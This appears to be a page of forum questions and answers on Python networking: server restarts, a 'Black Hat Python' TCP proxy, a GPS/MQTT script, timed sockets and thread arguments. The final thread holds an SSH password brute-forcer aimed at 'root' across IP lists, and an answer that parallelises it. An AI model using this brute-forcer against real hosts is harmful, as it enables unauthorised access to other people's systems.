I have made a simple webserver in python, and had some problems with it before as described here: Python (3.3) Webserver script with an interesting error
In that question, the answer was to use a While True: loop so that any crashes or errors would be resolved instantly, because it would just start itself again.
I've used this for a while, and still want to make the server restart itself every few minutes, but on Linux for some reason it won't work for me. On windows the code below works fine, but on linux it keeps saying
Handler class up here
...
...
class Server:
def __init__(self):
self.server_class = HTTPServer
self.server_adress = ('MY IP GOES HERE, or localhost', 8080)
global httpd
httpd = self.server_class(self.server_adress, Handler)
self.main()
def main(self):
if count > 1:
global SERVER_UP_SINCE
HOUR_CHECK = int(((count - 1) * RESTART_INTERVAL) / 60)
SERVER_UPTIME = str(HOUR_CHECK) + " MINUTES"
if HOUR_CHECK > 60:
minutes = int(HOUR_CHECK % 60)
hours = int(HOUR_CHECK // 60)
SERVER_UPTIME = ("%s HOURS, %s MINUTES" % (str(hours), str(minutes)))
SERVING_ON_ADDR = self.server_adress
SERVER_UP_SINCE = str(SERVER_UP_SINCE)
SERVER_RESTART_NUMBER = count - 1
print("""
SERVER INFO
-------------------------------------
SERVER_UPTIME: %s
SERVER_UP_SINCE: %s
TOTAL_FILES_SERVED: %d
SERVING_ON_ADDR: %s
SERVER_RESTART_NUMBER: %s
\n\nSERVER HAS RESTARTED
""" % (SERVER_UPTIME, SERVER_UP_SINCE, TOTAL_FILES, SERVING_ON_ADDR, SERVER_RESTART_NUMBER))
else:
print("SERVER_BOOT=1\nSERVER_ONLINE=TRUE\nRESTART_LOOP=TRUE\nSERVING_ON_ADDR:%s" % str(self.server_adress))
while True:
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Shutting down...")
break
httpd.shutdown()
httpd.socket.close()
raise(SystemExit)
return
def server_restart():
"""If you want the restart timer to be longer, replace the number after the RESTART_INTERVAL variable"""
global RESTART_INTERVAL
RESTART_INTERVAL = 10
threading.Timer(RESTART_INTERVAL, server_restart).start()
global count
count = count + 1
instance = Server()
if __name__ == "__main__":
global SERVER_UP_SINCE
SERVER_UP_SINCE = strftime("%d-%m-%Y %H:%M:%S", gmtime())
server_restart()
Basically, I make a thread to restart it every 10 seconds (For testing purposes) and start the server. After ten seconds it will say
File "/home/username/Desktop/Webserver/server.py", line 199, in __init__
httpd = self.server_class(self.server_adress, Handler)
File "/usr/lib/python3.3/socketserver.py", line 430, in __init__
self.server_bind()
File "/usr/lib/python3.3/http/server.py", line 135, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.3/socketserver.py", line 441, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
As you can see in the except KeyboardInterruption line, I tried everything to make the server stop, and the program stop, but it will NOT stop. But the thing I really want to know is how to make this server able to restart, without giving some wonky errors.
Related
I recently bought the book Black Hat Python, 2nd Edition, by Justin Seitz, which seems to be a very good book about networking and all that (i am writing my code on Kali Linux)
I have a problem on the TCP Proxy Tool on chapter 2 :
Here is the code :
import sys
import socket
import threading
HEX_FILTER = ''.join(
[(len(repr(chr(i))) == 3) and chr(i) or '.' for i in range(256)])
def hexdump(src, length = 16, show = True):
# basically translates hexadecimal characters to readable ones
if isinstance(src, bytes):
src = src.decode()
results = list()
for i in range(0, len(src), length):
word = str(src[i:i+length])
printable = word.translate(HEX_FILTER)
hexa = ' '.join(['{ord(c):02X}' for c in word])
hexwidth = length*3
results.append('{i:04x} {hexa:<{hexwidth}} {printable}')
if show :
for line in results :
print(line)
else :
return results
def receive_from(connection):
buffer = b""
connection.settimeout(10)
try :
while True :
data = connection.recvfrom(4096)
if not data :
break
buffer += data
except Exception as e:
pass
return buffer
def request_handler(buffer):
# perform packet modifications
return buffer
def response_handler(buffer):
# perform packet modifications
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
if receive_first :
# Check for any data to receive before
going into the main loop (i guess)
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
remote_buffer = response_handler(remote_buffer)
if len(remote_buffer):
print("[<==] Sending %d bytes to localhost." % len(remote_buffer))
client_socket.send(remote_buffer)
while True : # Start the loop
local_buffer = receive_from(client_socket)
if len(local_buffer):
line = "[==>] Received %d bytes from localhost." % len(local_buffer)
print(line)
hexdump(local_buffer)
local_buffer = request_handler(local_buffer)
remote_socket.send(local_buffer)
print("[==>] Sent to remote.")
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print("[==>] Received %d bytes from remote." % len(remote_buffer))
hexdump(remote_buffer)
remote_buffer=response_handler(remote_buffer)
client_socket.send(remote_buffer)
print("[<==] Sent to localhost.")
if not len(local_buffer) or not len(remote_buffer):
# If no data is passed, close the sockets and breaks the loop
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing connections. See you later !")
break
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try :
server.bind((local_host, local_port)) # Bind the local host and the local port
except Exception as e:
print('Problem on bind : %r' %e)
# If an error occurs, prints a
print("[!] Failed to listen on %s:%d" % (local_host, local_port))
print("[!] Check for other listening sockets or correct permissions.")
sys.exit(0)
print("[*] Listening on %s:%d" % (local_host, local_port))
server.listen(5)
while True :
client_socket, addr = server.accept()
# print out the local connection information
line = "> Received incoming connection from %s:%d" % (addr[0], addr[1])
print(line)
# start a thread to talk to the remote host
proxy_thread = threading.Thread(
target = proxy_handler,
args=(client_socket,remote_host,
remote_port, receive_first))
proxy_thread.start()
def main():
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport]")
print("[remotehost] [remoteport] [receive_first]")
print("Example : ./proxy.py 127.0.0.1 9000 192.168.56.1 9000 True")
sys.exit(0)
loca l_host = sys.argv[1]
local_port = int(sys.argv[2])
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else :
receive_first = False
server_loop(local_host, local_port,
remote_host, remote_port, receive_first)
if __name__ == '__main__':
main()
(sorry, i had a bit of a trouble formatting it and it's quite long)
Now, normally, i just need to open 2 terminals and run the code with the command line :
sudo python proxy.py 127.0.0.1 21 ftp.dlptest.com 21 True
in one terminal, and :
ftp 127.0.0.1 21
in the other one.
My code seems to be working fine, except that... I receive no data. I tried different ftp servers (notice that i don't use the one quoted in the book), but it still doesn't work. It just says :
[*] Listening on 127.0.0.1
> Received incoming connection from 127.0.0.1:55856
but it doesn't actually displays anything until the connexion times out or that i stop the command with Ctrl + C.
I know this question has already been asked, but they don't resolve my problem.
Please tell me if i forgot a line of code (for example the one that prints the data on the screen lol) or did anything wrong :)
one the hexa variable you need to put and f'{ord(c):02x}' because you just have a string and not using the 'c' variable from the list comprehension. That's a small typo you missed fix that and try the whole process again.
hexa = ' '.join([f'{ord(c):02X}' for c in word])
The f should be here ^
Hi I have built a gps solution on raspberry pi.
The python code works well until I wrap everything up into a bash script... then strange things happened...
so I have:
1. publish.py (this file publish the GPS data to a MQTT topic)
2. listener.py (this file listen to the MQTT topic for testing purpose)
3. job.sh (bash script to run some command the publish.py file)
4. crontab (I made a crontab to run every 10 min to run the job.sh script)
publish.py
from gps import *
import time
from sense_hat import SenseHat
import json
import paho.mqtt.client as mqtt
import nacl.secret
import nacl.utils
import device
#initiate the device object
device = device.Device()
sense = SenseHat()
sense.clear()
timestamp = 0
latitude = 0
longitude = 0
# The callback for when the client receives a CONNACK response from the server.
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
# Subscribing in on_connect() means that if we lose the connection and
# reconnect then subscriptions will be renewed.
client.subscribe("topic")
# The callback for when a PUBLISH message is received from the server.
def on_message(client, userdata, msg):
print(msg.topic+" "+str(msg.payload))
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("mqtt.eclipse.org", 1883, 60)
# put the symmetricKey into box
file = open("/home/pi/Project/symmetricKey", "rb")
symmetricKey = file.readline()
box = nacl.secret.SecretBox(symmetricKey)
def getPositionData(gps):
nx = gpsd.next()
if nx['class'] == 'TPV':
global timestamp
global latitude
global longitude
print("##############")
timestamp = getattr(nx,'time', "Unknown")
latitude = getattr(nx,'lat', "Unknown")
longitude = getattr(nx,'lon', "Unknown")
#print "##timestamp: ", timestamp, "##Your position: lon = ", str(longitude), ", lat = ", str(latitude)
return timestamp, latitude, longitude
def getSenseHatData():
pressure = sense.get_pressure()
temp = sense.get_temperature()
humidity = sense.get_humidity()
#print "pressure: ", pressure, "temp: ", temp, "humidity: ", humidity
return pressure, temp, humidity
def encrptyMessage(body):
encrpted = box.encrypt(body)
return encrpted
gpsd = gps(mode=WATCH_ENABLE|WATCH_NEWSTYLE)
def run():
try:
print ("Application started!")
while True:
gpsData = getPositionData(gpsd)
senseHatData = getSenseHatData()
dictionary = {
"timestamp": gpsData[0],
"latitude": gpsData[1],
"longitude": gpsData[2],
"pressure": senseHatData[0],
"temp": senseHatData[1],
"humidity": senseHatData[2]
}
body = json.dumps(dictionary)
encrptedBody = encrptyMessage(body)
print (dictionary)
try:
client.publish('topic', payload=encrptedBody)
except:
print("message is not successfully sent...")
time.sleep(1.0)
except (KeyboardInterrupt):
running = False
print ("Applications closed!")
return body
run()
job.sh
#!/bin/bash
sudo systemctl start gpsd.socket & #this is to start GPS socket
sleep 5
python /home/pi/Project/publish.py & #this is to run my publish.py
sleep 10
sudo systemctl stop gpsd.socket & #this is to stop the socket service
crontab
*/10 * * * * bash /home/pi/job.sh
The strange things are
when I run publish.py directly, everything is working well.... but when I run job.sh, the code will throw out error
Traceback (most recent call last):
File "/home/pi/Project/publishTelemetry.py", line 123, in <module>
run()
File "/home/pi/Project/publishTelemetry.py", line 97, in run
gpsData = getPositionData(gpsd)
File "/home/pi/Project/publishTelemetry.py", line 45, in getPositionData
nx = gpsd.next()
File "/usr/lib/python2.7/dist-packages/gps/gps.py", line 287, in next
return self.__next__()
File "/usr/lib/python2.7/dist-packages/gps/gps.py", line 279, in __next__
raise StopIteration
Do you know that if python and bash have something weird behavior like this???
thanks for your help!!!
It runs exactly as it should. You start the gps service, then asynchronously start you script, 10 seconds later you stop the gps service. Once you do that, the reading loop raises a StopIteration to indicate that you cannot get new updates (since the service was stopped).
You can simply catch this exception and stop the job, assuming that is the intended behavior.
I have the below python script(server.py) in order to listen to a port and capture the requests from the client. I am calling this script from another python file(Main.py). My requirement is to stop executing server.py after certain amount of time. I tried using exit() at the last line of the file - server.py to stop the server and stop the execution of the file, however I was not able to stop the script from running and the server kept responding. Can anyone help me in letting me know where I am going wrong.
Server.py
bind_ip = "127.0.0.1"
bind_port = 2530
def servercreate():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
while True:
client, addr = server.accept()
print('[*] Accepted connection from: %s:%d' % (addr[0], addr[1]))
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
def handle_client(client_socket):
request = client_socket.recv(2056)
print('[*] Received: %s' % request)
message = "{}"
client_socket.send(message.encode('utf-8'))
client_socket.close()
if __name__ == '__main__':
servercreate()
Main.py
import Server
Server.servercreate()
if you don't want your code interrupted by time.sleep (which I think stops the code from running), use this:
import time
timeout = time.time() + 10
while True:
print ('hello')
if time.time() > timeout:
print ('program terminated')
break
if you want 10 minutes worth of time use:
timeout = time.time() + 60*10
If you just want to stop the program running after a certain amount of time use something like
import time
x=0
while True:
print ('waiting 5')
time.sleep(5)
x += 1
if x == (10):
break
the time.sleep is in seconds, break stops the loop and should end your program
update, try this:
import time
bind_ip = "127.0.0.1"
bind_port = 2530
def servercreate():
#put minutes of time you want program to run for below
minutes = 10
timeout = time.time() + (60*minutes)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
while True:
client, addr = server.accept()
print('[*] Accepted connection from: %s:%d' % (addr[0], addr[1]))
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
if time.time() > timeout:
break
def handle_client(client_socket):
request = client_socket.recv(2056)
print('[*] Received: %s' % request)
message = "{}"
client_socket.send(message.encode('utf-8'))
client_socket.close()
if __name__ == '__main__':
servercreate()
I am trying to start threads and I keep getting and error message saying that I am trying to send more than one argument. It seems like the Thread object does not take the variable port as one argument but rather each character in the string as one separate argument. How is this working ? It is my first time multithreading in python.
Error message:
Exception in thread /dev/ttyUSB0:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
TypeError: report() takes exactly 1 argument (12 given)
Code:
def report(port):
print("\n")
print(st() +"Connecting to" + port[0])
device = serial.Serial(port=port[0], baudrate=9600, timeout=0.2)
print (st() + "Connection sucessfull...")
print (st() + "Initializing router on "+ port[0])
if initialize_router(device) == 0:
return 0
print (st() + "Initialization sucessfull")
print (st() + "Starting to inject IP basic config")
if inject_config(device) == 0:
print(errror("injecing the confing",port[0]))
return 0
print(st()+ "Finished injecting default IP setting on router connected to " + port[0])
return 1
if __name__ == '__main__':
ports = list_ports.comports()
list_port = list(ports)
port_counter = -1
for port in list_port:
if "USB" in port[0]:
port_counter = port_counter + 1
port = "/dev/ttyUSB" + str(port_counter)
thread = Thread(target=report, args=(port), name=port)
thread.start()
print port
print ("\n")
continue
thread = Thread(target=report, args=(port), name=port)
I'm guessing you wanted to pass a single element tuple to args here. But those parentheses around port have no effect by themselves. Try:
thread = Thread(target=report, args=(port,), name=port)
I've coded a simple SSH Bruteforcer , and I am trying to make it multi-threaded as it is running very slowly at the moment. As you can see in the last few lines I have given it an attempt, but don't understand threading fully. I have read a few examples but I don't quite understand it fully, so I felt adding into my program will make me understand it better.
Code:
try:
import paramiko
except ImportError:
print("Paramiko module not installed, exiting.")
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue
import os
from datetime import datetime
startTime = datetime.now()
UserName2 = 'root'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
IPLines = 0
PasswordLines = 0
with open('pass.txt') as txt1:
for line in txt1:
if line.strip():
PasswordLines += 1
with open('ip.txt') as txt2:
for line2 in txt2:
if line2.strip():
IPLines += 1
current_attempts = 0
max_attempts = PasswordLines * IPLines
def print_results(found):
while True:
ip, password = found.get()
print("Found: %r %r" % (ip, password))
found.task_done()
def init(found_):
global found
found = found_
def generate_passwords():
#return (line.strip() for line in open(pass_file))
global ip
global pwd
global txt4
txt3 = open(pass_file, "r")
txt4 = open(ip_file, "r")
for line3 in txt3.readlines():
pwd = line3.strip()
for line4 in txt4.readlines():
ip = line4.strip()
def check(ip_password):
global current_attempts
ip, password = ip_password
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port, username=UserName2, password=pwd)
except paramiko.AuthenticationException, e:
print e
print '[-] %s:%s fail!' % (UserName2, pwd)
current_attempts += 1
except Exception, e:
print e
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip)
username, password, ipaddress = UserName2, pwd, ip
found.put((username,password,ipaddress))
seconds_taken = datetime.now() - startTime
print 'brute forcing took %s seconds' % seconds_taken
ssh.close()
print 'Found login in %s attempts' % current_attempts
if os.path.isfile("correct.txt"):
c = open("correct.txt", "a")
c.write('\n' + ip + ':' + UserName2 + ':' + pwd)
elif os.path.isfile("correct.txt"):
c = open('correct.txt', "w")
c.write(ip + ':' + UserName2 + ':' + pwd)
def main():
found = Queue()
t = Process(target=check, args=[found])
t.daemon = True # do not survive the parent
t.start()
pool = Pool(processes=20, initializer=init, initargs=[found])
args = ((ip, password) for password in generate_passwords() for ip in txt4)
for _ in pool.imap_unordered(check, args):
pass
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
found.join() # wait until all results are printed
if __name__ == "__main__":
main()
Errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check
ip, password = ip_password
TypeError: iteration over non-sequence
Traceback (most recent call last):
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module>
main()
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main
args = ((ip, password) for password in generate_passwords() for ip in txt4)
TypeError: 'NoneType' object is not iterable
The problem is embarrassingly parallel. You can run concurrently the ssh connection attempts both for different ips and passwords:
#!/usr/bin/env python
# remove .dummy to use processes instead of threads
from multiprocessing.dummy import Pool
def check(params):
ip, username, password = params
# emulate ssh login attempt #XXX put your ssh connect code here
import random
successful = random.random() < .0001
return successful, params
def main():
creds = {}
ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours
usernames = ["nobody", "root"] #XXX dummy user list, use yours
def generate_args():
for ip in ips:
for username in usernames:
for password in generate_passwords():
if (ip, username) in creds:
break
yield ip, username, password
pool = Pool(processes=20)
for success, params in pool.imap_unordered(check, generate_args()):
if not success:
continue
print("Found: %r" % (params,))
ip, username, password = params
creds[ip, username] = password
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
if __name__=="__main__":
main()
where ips is a list if all ips you want to try and generate_passwords() is a generator that yields one password at a time, here's an example:
def generate_passwords(pass_file):
return (line.strip() for line in open(pass_file))
About errors
ValueError: too many values to unpack
your code has found.put((username,password,ipaddress)) (a tuple with 3 values) but print_results() function expects ip, password = found.get() (2 values). The error "too many values to unpack" is because 3 is larger than 2.
'NoneType' object is not iterable
attempt() function returns nothing (None) but you put it in the place for generate_passwords() that must generate passwords (see the example implementation above).